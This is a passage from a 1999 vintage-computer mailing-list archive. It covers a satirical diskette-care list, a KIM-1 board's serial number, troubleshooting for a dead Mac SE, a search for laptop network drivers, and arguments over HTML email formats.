more storage. Be sure to cover all openings with scotch tape to prevent loss of data. (8) Data access time may be greatly improved by cutting more holes in the diskette jacket. This will provide more simultaneous access points to the disk. (9) Periodically spray diskettes with insecticide to prevent system bugs from spreading..... Regards Pete Regards Pete From rigdonj at intellistar.net Wed Jan 6 18:05:30 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:39:50 2005 Subject: FWD: Large computer in the UK... In-Reply-To: <802566F1.0062D6AE.00@WESTD90.pgen.co.uk> Message-ID: <3.0.1.16.19990106180530.2507c8aa@intellistar.net> At 06:05 PM 1/6/99 +0100, Philip wrote: > > >PS In the UK, you need an LGV (light goods vehicle) driving licence for >anything above 3.5 tons unladen, and an HGV driving licence for anything >above 7.5 tons. Anyone know what you could put in a 3 ton truck? My own >truck, 0.9 tons unladen, can carry 0.5 tons payload, but I imagine the >ratio has improved since the 1940s... On the other hand, I know someone >who is an HGV driving instructor so if these opportunities are going to >come up, perhaps I should ask him for a few lessons... Yes, we have similar requirements here. You have stduy for the license, take the written and driving tests and be tested for drugs. It's not something you can do on short notice. Joe From rigdonj at intellistar.net Wed Jan 6 18:14:40 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:39:50 2005 Subject: Proper Diskette Usage and Care In-Reply-To: <000101be39bb$7a0d1d60$02c809c0@snoopy.joules.enterprise.ne t> Message-ID: <3.0.1.16.19990106181440.2e879636@intellistar.net> Er, Ah, is based on your experience Pete or is the result of years of testing? Joe :-) At 09:28 PM 1/6/99 -0000, you wrote: >I think this is relevant to most classic machines :) > > > Proper Diskette Usage and Care > > >(1) Never leave diskettes in the drive, as the data can leak > out of the disk and corrode the inner mechanics of the > drive. Diskettes should be rolled up and stored in > pencil holders. > >(2) Diskettes should be cleaned and waxed once a week. > Microscopic metal particles may be removed by waving a > powerful magnet over the surface of the disk. Any > stubborn metal shavings can be removed with scouring > powder and steel wool. When waxing a diskette, make sure > the surface is even. This will allow the diskette to > spin faster, resulting in better access time. > >(3) Do not fold diskettes unless they do not fit into the > drive. "Big" Diskettes may be folded and used in > "Little" drives. > >(4) Never insert a diskette into the drive upside down. The > data can fall off the surface of the disk and jam the > intricate mechanics of the drive. > >(5) Diskettes cannot be backed up by running them through a > photo copy machine. If your data is going to need to be > backed up, simply insert TWO diskettes into your drive. > Whenever you update a document, the data will be written > onto both disks. A handy tip for more legible backup > copies: Keep a container of iron filings at your desk. When > you need to make two copies, sprinkle iron filings > liberally between the diskettes before inserting them into > the drive. > >(6) Diskettes should not be removed or inserted from the > drive while the red light is on or flashing. Doing so > could result in smeared or possibly unreadable text. > Occasionally, the red light remains flashing in what is > known as a "hung" or "hooked" state. If your system is > hooking, you will probably need to insert a few coins > before being allowed to access the slot. > >(7) If your diskette is full and needs more storage space, > remove the disk from the drive and shake vigorously for > two minutes. This will pack the data enough (data > compression) to allow for more storage. Be sure to cover > all openings with scotch tape to prevent loss of data. > >(8) Data access time may be greatly improved by cutting more > holes in the diskette jacket. This will provide more > simultaneous access points to the disk. > >(9) Periodically spray diskettes with insecticide to prevent > system bugs from spreading..... > >Regards >Pete > >Regards >Pete > From kurtkilgor at bigfoot.com Wed Jan 6 16:37:32 1999 From: kurtkilgor at bigfoot.com (Max Eskin) Date: Sun Feb 27 18:39:50 2005 Subject: FWD: Large computer in the UK... Message-ID: <199901062238.OAA11102@geocities.com> > I'm not sure I'd call it a supercomputer. A parallel machine, certainly. > A SIMD machine, certainly. What does SIMD stand for? What can this thing do? Does it have any permanent storage devices? How fast is it? From spc at armigeron.com Wed Jan 6 16:47:40 1999 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:39:50 2005 Subject: FWD: Large computer in the UK... In-Reply-To: <199901062238.OAA11102@geocities.com> from "Max Eskin" at Jan 6, 99 05:37:32 pm Message-ID: <199901062249.RAA07937@armigeron.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 830 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990106/1c047d62/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jan 6 16:54:34 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:50 2005 Subject: FWD: Large computer in the UK... In-Reply-To: <199901062238.OAA11102@geocities.com> from "Max Eskin" at Jan 6, 99 05:37:32 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 801 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990106/91e3f324/attachment.ksh From cmcmanis at freegate.com Wed Jan 6 17:08:38 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:39:50 2005 Subject: 5.25" disks In-Reply-To: <000101be39bb$7a0d1d60$02c809c0@snoopy.joules.enterprise.ne t> Message-ID: <4.1.19990106140237.00a204d0@mailhost.hq.freegate.com> I picked up an auction lot today and it contained, among other things, some 5.25" disks that are hand labelled as "1.2MB Test Media". I'm wondering if they are calibration disks for 5.25" drives. Realizing they are probably so RARE that to L@@K at them should cost $20 :-) Since I've got a couple I'd like to send one to anyone who feels confident they can tell me what they are (Tony?) Another thing this lot had in it was the 1996 MSDN developers network subscription CD binder. This basically has like all the "big" software microsoft made including copies of Win95, WinNT 3.5 and WinNT 4.0 Beta. Plus various SDKs, international versions and docs. It occurred to me that to a developer this "trash" is going to be gold to a collector in 20 years who is trying to demonstrate or renovate a "pre-millenium personal computer." So it seems to be out there and it is fairly low volume (less than 1 cubic foot) and can be had inexpensively. May I suggest we do future collectors a favor (as those who saved OS/8 did for me) and take some of this "junk" and store it somewhere safe for future generations... --Chuck From marvin at rain.org Wed Jan 6 17:16:25 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:39:50 2005 Subject: Kim-1 Computer References: Message-ID: <3693EEC9.3A6CA31C@rain.org> I got a chance to take a look at the Kim-1 computer today. It does have the number "0001" silkscreened onto the back of the board near the edge of the board near the connectors. I took a look at one of mine and it had the number 36?? screened at the same point, and the third Kim-1 doesn't appear to have a number screened on (or the light was bad enough I couldn't see it without removing it from the chassis. Anyone else with a Kim-1 have numbers screened on? If so, what are those numbers? I might add this is the MOS Tech board and not the Commodore board. At this point, I don't know if this is a serial number or what, but I'll keep trying to find out. The 0001 machine also has a plastic case for it that looks like it was designed specifically for the Kim-1. I also found a data sheet for the KIMSI S-100 motherboard. Interesting! From Watzman at ibm.net Wed Jan 6 17:33:09 1999 From: Watzman at ibm.net (Barry A. Watzman) Date: Sun Feb 27 18:39:50 2005 Subject: Message formats Message-ID: <01BE39A3.356F6D60@slip-32-100-187-245.oh.us.ibm.net> I am NOT sending in HTML format, but it is MIME encoded. Sorry, but I use my E-Mail client (Windows messaging) for more than just this discussion group, and I need the ability to send and receive formatted text for some of them, including my employer. I'm not going to change formats on a message-by-message basis just to eliminate the equals signs at the ends of the lines. From dogas at leading.net Wed Jan 6 17:37:09 1999 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:39:50 2005 Subject: Help Message-ID: <01be39cd$7a8ea440$cac962cf@devlaptop> Hi folks, I have a chance to pick up some SMS Q-bus systems that were being used as a security entry system. I dont know anything about them and assume (because of the Q-bus moniker) these to be uPDP equivilents. The apparently two computers are in a 19' rack system. I haven't and won't see them until Saturday so that's all the info so far... Please help, anybody know these systems? Thanks - Mike: dogas@leading.net From yowza at yowza.com Wed Jan 6 17:45:11 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:50 2005 Subject: Kim-1 Computer In-Reply-To: <3693EEC9.3A6CA31C@rain.org> Message-ID: On Wed, 6 Jan 1999, Marvin wrote: > I got a chance to take a look at the Kim-1 computer today. It does have the > number "0001" silkscreened onto the back of the board near the edge of the > board near the connectors. I took a look at one of mine and it had the > number 36?? screened at the same point, and the third Kim-1 doesn't appear > to have a number screened on (or the light was bad enough I couldn't see it > without removing it from the chassis. Anyone else with a Kim-1 have numbers > screened on? If so, what are those numbers? I'lll check mine when I get home, but it sounds like a serial number to me. What's the latest date code on the chips? > I might add this is the MOS Tech board and not the Commodore board. At this > point, I don't know if this is a serial number or what, but I'll keep trying > to find out. The 0001 machine also has a plastic case for it that looks > like it was designed specifically for the Kim-1. I've heard about the case being available, but I've never seen one. Picture please. Or should I wait for it to show up on ebay? :-) -- Doug From SUPRDAVE at aol.com Wed Jan 6 17:44:18 1999 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:39:50 2005 Subject: mac SE power supply Message-ID: <8cb7afd0.3693f552@aol.com> I picked up an SE 4/20 for $5, but not getting any power at all. fan and hard drive wont spin, no image, nothing at all. i can verify that machine gets ac power, but nothing else. what else can i check? unfortunately, i dont have any electrical ability to test anything except for obvious problems. david From allisonp at world.std.com Wed Jan 6 18:00:27 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:39:50 2005 Subject: TI99: Re: SCSI devices Message-ID: <199901070000.AA25500@world.std.com> "Message formats" (Jan 6, 18:33) References: <01BE39A3.356F6D60@slip-32-100-187-245.oh.us.ibm.net> Message-ID: <9901070010.ZM2470@indy.dunnington.u-net.com> On Jan 6, 18:33, Barry A. Watzman wrote: > Subject: Message formats > > [ plain text > Encoded with "quoted-printable" ] : I am NOT sending in HTML format, but it is MIME encoded. Sorry, but I use my E-Mail client (Windows messaging) for more than just this discussion group, and I need the ability to send and receive formatted text for some of them, including my employer. I'm not going to change formats on a message-by-message basis just to eliminate the equals signs at the ends of the lines. No, it's not just MIME-encoded. We're not complaining about equals signs at the ends of lines (which, incidentally, arise because Microsoft don't understand MIME). Apart from this message, all the ones I've seen from you have been encoded as "multipart/alternative". The few I've bothered to read (because it IS a bother) have contained a copy in some other format as well as the plain text. And as you can see from the way my mailer has quoted your message, the lines aren't split except at paragraph breaks. You need to get a mailer that works :-) "Windows messaging"? Do you mean Microsoft Mail? Or something like Outlook? I can assure you that it is possible to configure Microsoft mailers to send formatted HTML (which IMHO should not be allowed at all) or RTF in such a way that normal mailers simply see a plain text plus an attachment. -- Pete Peter Turnbull Dept. of Computer Science University of York From jrkeys at concentric.net Wed Jan 6 18:12:58 1999 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:39:50 2005 Subject: mac SE power supply In-Reply-To: <8cb7afd0.3693f552@aol.com> Message-ID: <001401be39d2$7b2832e0$79afadce@5x86jk> This can be caused by a low or dead battery on the motherboard. I got my replacement at Radio Shack here in the Twin Cities. John > -----Original Message----- > From: CLASSICCMP-owner@u.washington.edu > [mailto:CLASSICCMP-owner@u.washington.edu]On Behalf Of SUPRDAVE@aol.com > Sent: Wednesday, January 06, 1999 5:44 PM > To: Discussion re-collecting of classic computers > Subject: mac SE power supply > > > I picked up an SE 4/20 for $5, but not getting any power at all. > fan and hard > drive wont spin, no image, nothing at all. i can verify that > machine gets ac > power, but nothing else. what else can i check? unfortunately, i > dont have any > electrical ability to test anything except for obvious problems. > > david > From rexstout at uswest.net Wed Jan 6 18:32:56 1999 From: rexstout at uswest.net (John Rollins) Date: Sun Feb 27 18:39:50 2005 Subject: mac SE power supply In-Reply-To: <001401be39d2$7b2832e0$79afadce@5x86jk> References: <8cb7afd0.3693f552@aol.com> Message-ID: >This can be caused by a low or dead battery on the motherboard. I got my >replacement at Radio Shack here in the Twin Cities. John I know the Mac II does that if one or both internal batteries go bad, but AFAIK, the SE doesn't really care about the battery beyond storing the date and time, and a few other minor details that MacOS(I hate calling it that, but it actually isn't too bad... System Software for those of you who absolutley can't stand it) likes to know about, pretty simple stuff and it has no effect as to wether the computer will start or not. And while we're at RatShack getting a battery, pick up a cheap digital multimeter. They're pretty cheap most of the time, you don't need to get a $200 DMM to do simple everyday stuff. In fact I'd rather have a cheapy $20 one than an expensive one, because I have a habit of dropping, throwing, stomping and zapping various things ;-) In fact, I've had pretty good luck with the Tripplet(Trippet, whatever. Something like that) 2022 that I got at Fry's on sale for right around $20, normal price is around $30-35 IIRC. Even tests transistors! Anyways, open up the computer and check all the cables, wiggle stuff around(stay away from the CRT!! That can give you a nasty zap if you're not careful. Might want to go buy a CRT disharger if you're going to play around with "toaster" Macs or monitors very much) and try it again. I don't have an SE anymore, so I can't run over and check the inside ot see what's there... Anyways, if it refuses to do anything still, pull out the power supply, check all the fuses you can find, open up the power supply and check for blown up, burnt, missing or extra pieces, then plug in just the power supply and check out the outputs with the DMM. I've heard that they don't always put out the right voltage without a load of some sort, but I've never had any problems like that other than with LC-type PS's(they always seem a bit off, but it always turns out to be a RAM problem...). That brings me to another point, try swapping out the RAM. Try unplugging the hard drive. The problem has to be in there SOMEWHERE... -------------------------------------------------------------- | http://members.tripod.com/~jrollins/index.html - Computers | | http://www.geocities.com/Area51/Lair/1681/ - Star Trek | | orham@qth.net list admin KD7BCY | | ham-mac@qth.net Portland, OR | -------------------------------------------------------------- From rigdonj at intellistar.net Wed Jan 6 21:01:40 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:39:50 2005 Subject: 53rd state was Re: Y2K In-Reply-To: <01be392c$910c4fc0$f17d38cb@netcafe.pirie.mtx.net.au> Message-ID: <3.0.1.16.19990106210140.2cb70664@intellistar.net> At 02:55 PM 1/6/99 +1030, Geoff wrote: > I know there are 250+ million of you, >but we're not >the 53rd state. (Yet anyway) Naw, you're not even close to being the 53rd state! We're going after Puerto Rico right now, the ten Canadian provinces are next, then Mexico. You guys are way down the list. It must be sad to realize that you follow even Mexico! Sorry, couldn't resist! :-) Joe From yowza at yowza.com Wed Jan 6 18:55:53 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:50 2005 Subject: paper -> HTML In-Reply-To: Message-ID: I tried Xerox TextBridge Pro 98 last night. Not great, but not bad either. It does capture both text and images and can generate HTML with the basic format intact. It also gives you the opportunity to proof/correct the OCR, and the clean-up needed wasn't too bad -- a couple of minutes for the type-written pages I scanned. It has a poor user interface, but the "wizard" is pretty helpful (perhaps required). The worst misfeature, from my perspective, was that it could only handle b/w scans, so the images look about like they would if somebody faxed them to you. This makes no sense to me. If they could handle color scans (perhaps by internally converting to b/w before the OCR if needed), then I would use this to webify lots of docs. As it is now, I'd still need to do separate scans for images if I wanted nice images. I'll try to crank out a few webified pages this week, and you can see the results. -- Doug From dastar at ncal.verio.com Wed Jan 6 19:02:06 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:50 2005 Subject: y2k stuff In-Reply-To: Message-ID: On Wed, 6 Jan 1999, Tony Duell wrote: > Whenever there's a person involved then I think there's much less of a > problem. People tend to behave more resonably. An electricity company > employee is not going to believe that all the customers have suddenly > forgotten to pay their bills, no matter what the computer says. Well, there is the recently reported story (just heard it two days ago) about a German man who drove into a river and drowned because his car's automatic navigation system told him he was on the correct route, despite the desparate attempts by many people on the side of the road to wave him down to warn him the road was out. I've also been told by some credit card company call center reps that they couldn't do something or other for me because the "computer wouldn't let them". Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From cmcmanis at freegate.com Wed Jan 6 19:10:57 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:39:50 2005 Subject: Message formats In-Reply-To: <9901070010.ZM2470@indy.dunnington.u-net.com> References: <"Barry A. Watzman" <01BE39A3.356F6D60@slip-32-100-187-245.oh.us.ibm.net> Message-ID: <4.1.19990106165949.009afd70@mailhost.hq.freegate.com> And while we're at it, why don't we complain about a single '.' on a line, or starting a line with "From" :-) Ok, ok, so if you're using your Classic computers to read mail then I guess we should also switch to ALL UPPER CASE SO THAT TELETYPE OWNERS WON'T FEEL LEFT OUT. Sheesh. Plain text really sucks. Y'all prefer that someone type _like this_ to indicate a piece of underlined text? or my habit *bolding* with asterisks? This message "encoded" with HTML is roughly 5% larger than it is in plain text. Wow, now that's a waste of resources. Sure, sure, some of you actually enjoy typing in ASCII art to illustrate something, I don't. Stick in a darn diagram. Do you have a telephone in your house or a telegraph (and if you have a telegraph do you force everyone to "call you" on it rather than the telephone?) Here is my advice, you (the folks whining that they can only read plain text messages) have got between 6 and 18 months before you will be deleting everything because its encoded in some more descriptive form. If you can't figure out a way to read that kind of mail by then you will see less and less of the internet mail traffic (this list excepted of course.) Then your kids will come in one day, after you've not read their mail because it was not plain text, and shake their heads exactly as I did when I could not convince my father to replace his "trusty" black and white TV until we were waaaay into the color generation. ObClassicCmp: I've got a "rare" Zenith green screen monitor that was used with an Apple II, it even has the "wide/narrow" switch on the back so that you can make 40 column mode more readable. Let me know if you want it... --Chuck From dastar at ncal.verio.com Wed Jan 6 19:09:31 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:50 2005 Subject: Kim-1 Computer In-Reply-To: <3693EEC9.3A6CA31C@rain.org> Message-ID: On Wed, 6 Jan 1999, Marvin wrote: > I got a chance to take a look at the Kim-1 computer today. It does have the > number "0001" silkscreened onto the back of the board near the edge of the > board near the connectors. I took a look at one of mine and it had the > number 36?? screened at the same point, and the third Kim-1 doesn't appear > to have a number screened on (or the light was bad enough I couldn't see it > without removing it from the chassis. Anyone else with a Kim-1 have numbers > screened on? If so, what are those numbers? No serial number would ever be screened onto the board. I'm sure there is an exception somewhere to prove me wrong but I'd be shocked to hear about it. Is there a space after the 0001 to write in a number? Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From ard at p850ug1.demon.co.uk Wed Jan 6 18:16:01 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:50 2005 Subject: 5.25" disks In-Reply-To: <4.1.19990106140237.00a204d0@mailhost.hq.freegate.com> from "Chuck McManis" at Jan 6, 99 03:08:38 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1174 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990107/9f078c5e/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jan 6 18:26:06 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:50 2005 Subject: mac SE power supply In-Reply-To: <8cb7afd0.3693f552@aol.com> from "SUPRDAVE@aol.com" at Jan 6, 99 06:44:18 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1744 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990107/91cd01b0/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jan 6 18:40:34 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:50 2005 Subject: TI99: Re: SCSI devices In-Reply-To: <199901070000.AA25500@world.std.com> from "Allison J Parent" at Jan 6, 99 07:00:27 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 3677 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990107/570149fa/attachment.ksh From rigdonj at intellistar.net Wed Jan 6 21:18:34 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:39:50 2005 Subject: Banking practice was Re: y2k stuff In-Reply-To: <802566F1.00475D65.00@PTECHNOTES02.PowerTech.co.uk> Message-ID: <3.0.1.16.19990106211834.4657b6c0@intellistar.net> At 01:28 PM 1/6/99 +0000, you wrote: >> banks: >> Keeping in mind that banks routinely deactivate and -absorb- every >> account that is over x years idle (commonly 2 yrs. but every one I have >> come across has some variant of this), see how the above method applies >> to this situation. > > >Are you sure this is legal? It is here in the US. I *think* the money is supposed to be turned over to the government but in my experience the banks get (got!) it by imposing "low-activity" fees only on the inactive accounts that the government was about to get and "fees" ate up all the money in the account. >AFAIK there is nothing in any contract I take out with a bank that says >that if I deposit money and leave it there for over 2 years they are >entitled to it. Same here but the banks frequently change the terms of the account. The account holder is notified (or mailed a form saying the bank is changing the account terms anyway) but if he's inattentive for any reason he nevers gets the money out of the account in time and the bank gets it all. I used to make sudden and lengthy trips as part of my work in the USAF and the banks got a couple of my accounts the due to this. Later I worked in the banking industry and found this was normal practice. Joe From yowza at yowza.com Wed Jan 6 19:23:08 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:50 2005 Subject: Message formats In-Reply-To: <4.1.19990106165949.009afd70@mailhost.hq.freegate.com> Message-ID: On Wed, 6 Jan 1999, Chuck McManis wrote: > Ok, ok, so if you're using your Classic computers to read mail then I guess > we should also switch to ALL UPPER CASE SO THAT TELETYPE OWNERS WON'T FEEL > LEFT OUT. No, the software handles the conversion for that fine a la Unix. > Sheesh. Plain text really sucks. Y'all prefer that someone type _like this_ > to indicate a piece of underlined text? or my habit *bolding* with > asterisks? This message "encoded" with HTML is roughly 5% larger than it is > in plain text. Wow, now that's a waste of resources. 5% overhead for zero content enhancement? You want to put us on a slippery slope, and pretty soon you'll start spewing GIF's at us. > Sure, sure, some of you actually enjoy typing in ASCII art to illustrate > something, I don't. Stick in a darn diagram. See, I told you! > Do you have a telephone in your house or a telegraph (and if you have a > telegraph do you force everyone to "call you" on it rather than the > telephone?) But those things went over different channels! If you want to spew GIF's at me over a differnt IP port, fine -- I'll put my HTML and GIF munger on that port, but keep the stuff away from the SMTP port, will ya!? -- Doug From rigdonj at intellistar.net Wed Jan 6 21:25:38 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:39:50 2005 Subject: y2k stuff In-Reply-To: References: Message-ID: <3.0.1.16.19990106212538.4657ee84@intellistar.net> At 05:02 PM 1/6/99 -0800, Sam wrote: >I've also been told by some credit card company call center reps that they >couldn't do something or other for me because the "computer wouldn't let >them". Don't you know a brush-off when you hear it? Employees LOVE to blame things on the computer! Joe From netcafe at pirie.mtx.net.au Wed Jan 6 19:31:26 1999 From: netcafe at pirie.mtx.net.au (Computer Room Internet Cafe) Date: Sun Feb 27 18:39:51 2005 Subject: T1200 Laptop network card - was Re: 53rd state was Re: Y2K Message-ID: <01be39dd$712d4360$f17d38cb@netcafe.pirie.mtx.net.au> -----Original Message----- From: Joe To: Discussion re-collecting of classic computers Date: Thursday, 7 January 1999 12:30 Subject: 53rd state was Re: Y2K > Naw, you're not even close to being the 53rd state! We're going after >Puerto Rico right now, the ten Canadian provinces are next, then Mexico. >You guys are way down the list. It must be sad to realize that you follow >even Mexico! > > Sorry, couldn't resist! :-) There's a line there, ah what the heck. Sad is not the word, relieved perhaps! :^) I couldn't resist either. Mind you, looking at TV here, or driving around any medium sized city, and seeing the Kentucky Fried Chicken, McDonalds and Hungry Jacks (=Burger King) outlets, and seeing all the kids roaming around in those silly baggy shorts with their baseball caps on backwards, it's getting hard to tell the difference. At least we still speak real English, despite the school systems apparent inability to teach kids to write and spell in it......... Ahem, to get back on topic, I have a Circa 1989 Toshiba T1200 laptop that has a Puredata 8023 (assume Ethernet) card in the expansion slot. There is nothing for this on the Puredata website, and my email to their support on 30/12/98 has not been responded too (yet). The card has an etch that reads PDT8023 [R] [C] 1989 Pure Data Made in Canada 0060012002 The T in the ident suggests a special (Toshiba?) build. The card has a single BNC socket and a switch marked 0 and 1, which is probably a power on/off function. There are three jumpers marked E1 E2 and E3. E2 has a shorting bridge on it. There is a bar coded sticker on the component side. The sticker is damaged, looks like 002x1945 (digit marked by x is unreadable, possibly a 6 or an 8) Several of the chips on the board have a date and a hex number on a paper sticker on them. Listed below. March 1990 800020000 March 1991 800019100 March 1991 800019702 March 1991 800019801 March 1991 800019900 I'm after some Netware drivers for it. (This is an XT laptop) I've tried the NE1000 drivers to no avail. I'm assuming it uses the IRQ (3) that is reserved for the internal modem. Any help appreciated. Cheers Geoff Roberts Computer Room Internet Cafe Port Pirie South Australia. netcafe@pirie.mtx.net.au From ard at p850ug1.demon.co.uk Wed Jan 6 19:35:09 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:51 2005 Subject: Message formats In-Reply-To: <4.1.19990106165949.009afd70@mailhost.hq.freegate.com> from "Chuck McManis" at Jan 6, 99 05:10:57 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 4467 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990107/23370a36/attachment.ksh From marvin at rain.org Wed Jan 6 19:42:36 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:39:51 2005 Subject: Kim-1 Computer References: Message-ID: <3694110C.D8153B2F@rain.org> Doug Yowza wrote: > > I'lll check mine when I get home, but it sounds like a serial number to > me. What's the latest date code on the chips? The 6102's have a date code of 4775, and the latest data code I saw was 0176. > > to find out. The 0001 machine also has a plastic case for it that looks > > like it was designed specifically for the Kim-1. > > I've heard about the case being available, but I've never seen one. > Picture please. Or should I wait for it to show up on ebay? :-) Case - http://www.rain.org/~marvin/kimcase.jpg Serial Number - http://www.rain.org/~marvin/kimserno.jpg When I talked to her today, she indicated her late husband had declined an offer to donate it to the Boston Computer Museum. I've relayed what knowledge I have about what it might be worth, and I rather suspect it may well end up on Ebay (I really can't spend the kind of money I think it will bring .) FWIW, it is not mine . From marvin at rain.org Wed Jan 6 19:48:49 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:39:51 2005 Subject: Kim-1 Computer References: Message-ID: <36941281.F111DBBD@rain.org> Sam Ismail wrote: > > No serial number would ever be screened onto the board. > > I'm sure there is an exception somewhere to prove me wrong but I'd be > shocked to hear about it. Is there a space after the 0001 to write in a > number? I've seen serial numbers screened onto a circuit board, and done during the processing rather than after the board was built up. It does add to the cost of the board though! Take a look at the picture in my last message. I'll take some better pictures of the unit, especially if it is going to be sold (which it rather looks like although I can probably keep it for a while.) I do plan on testing the board in one of the other working Kim-1 setups though. From marvin at rain.org Wed Jan 6 19:52:18 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:39:51 2005 Subject: Kim-1 Computer References: <3694110C.D8153B2F@rain.org> Message-ID: <36941352.6CCF8EB3@rain.org> Marvin wrote: > > Case - http://www.rain.org/~marvin/kimcase.jpg > Serial Number - http://www.rain.org/~marvin/kimserno.jpg Hmmm, now that I look at it closer, it looks more like a rubber stamp using silkscreen ink (notice the contour of the letters.) From yowza at yowza.com Wed Jan 6 19:59:24 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:51 2005 Subject: Kim-1 Computer In-Reply-To: <3694110C.D8153B2F@rain.org> Message-ID: On Wed, 6 Jan 1999, Marvin wrote: > The 6102's have a date code of 4775, and the latest data code I saw was > 0176. Good stuff. It doesn't mean that it's board #1, but a date code after about 6/76 would have pretty much decided against it. > Case - http://www.rain.org/~marvin/kimcase.jpg Ooh, I want a case for mine! How much? > Serial Number - http://www.rain.org/~marvin/kimserno.jpg OK, I'm convinced. How much? > When I talked to her today, she indicated her late husband had declined an > offer to donate it to the Boston Computer Museum. I've relayed what > knowledge I have about what it might be worth, and I rather suspect it may > well end up on Ebay (I really can't spend the kind of money I think it will > bring .) FWIW, it is not mine . Despite what some people may think, ebay is far from the best way to maximize value for something like this. Give Sotheby's a call. (I might be able to give you a contact if you need one.) -- Doug From jpero at cgocable.net Wed Jan 6 20:00:54 1999 From: jpero at cgocable.net (jpero@cgocable.net) Date: Sun Feb 27 18:39:51 2005 Subject: Kim-1 Computer In-Reply-To: <36941352.6CCF8EB3@rain.org> Message-ID: <199901070159.UAA19089@mail.cgocable.net> Date sent: Wed, 06 Jan 1999 17:52:18 -0800 Send reply to: classiccmp@u.washington.edu From: Marvin To: "Discussion re-collecting of classic computers" Subject: Re: Kim-1 Computer > Marvin wrote: > > > > > Case - http://www.rain.org/~marvin/kimcase.jpg > > Serial Number - http://www.rain.org/~marvin/kimserno.jpg > > Hmmm, now that I look at it closer, it looks more like a rubber stamp using > silkscreen ink (notice the contour of the letters.) > Hi! Exactly. Rubber stamp with that messy look. I see that many times on many boards. Careful there, don't want that wiped off with any cleaners and some "harmless" ones can lift them like alcohol also can wipe off the permement marker inks. Can't "etch" the epoxy unless lasered into. What means it's either etched into copper area or ink stamped. Jason D. From netcafe at pirie.mtx.net.au Wed Jan 6 20:28:59 1999 From: netcafe at pirie.mtx.net.au (Computer Room Internet Cafe) Date: Sun Feb 27 18:39:51 2005 Subject: Message formats Message-ID: <01be39e5$7bd986e0$f17d38cb@netcafe.pirie.mtx.net.au> -----Original Message----- From: Tony Duell To: Discussion re-collecting of classic computers Date: Thursday, 7 January 1999 13:13 Subject: Re: Message formats >The license for a colour TV is something like 4 times the cost of one >for a black and white TV. And the extra 'entertainment' might not be worth >that much. They STILL do that? Heck, we tossed it out in the early 70's. The compliance rate was very low, and the Radio Inspectors got so tired of the door to door checking and subsequent abuse (sometimes physical - some Aussies are less than polite when dealing with bureaucratic bull....) that they were glad to see the government call it a day. Cheers Geoff Roberts Computer Room Internet Cafe Port Pirie South Australia. netcafe@pirie.mtx.net.au From kurtkilgor at bigfoot.com Wed Jan 6 20:29:13 1999 From: kurtkilgor at bigfoot.com (Max Eskin) Date: Sun Feb 27 18:39:51 2005 Subject: Message formats Message-ID: <199901070229.SAA15142@geocities.com> > The same is not true of html. It's not the waste of bandwidth - it's the > fact that it's darn difficult to read. And it doesn't convey any extra > meaning Actually, I wouldn't even mind simple html, like message text. But most of those programs make crazy html documents that would make its original authors cringe, no doubt. 20 lines of code, mostly weird numbers and font commands and style sheets and so on. Now _that_ is unreadable, and I don't consider it real html, either. > OK, I'll do {\bf bold face} like that. Documented standard, you know... Of course, doing it *with asterisks* is a lot easier to type and understand. > What about the waste in _my_ resources - the carbon-based computer I am > using to compose this message - in trying to decode the real information > from a pile of useless html tags ? Indeed. Some people think they are doing me and others a great service by sending messages with no value whatsoever, and they think they ought to send it in what format is convenient to 